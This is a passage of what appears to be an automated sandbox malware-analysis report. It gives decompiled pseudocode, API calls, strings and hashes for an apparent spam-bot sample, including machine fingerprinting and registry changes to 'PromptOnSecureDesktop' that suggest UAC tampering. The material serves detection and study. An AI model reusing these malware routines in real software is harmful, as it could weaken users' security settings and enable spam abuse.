				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,7554F210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
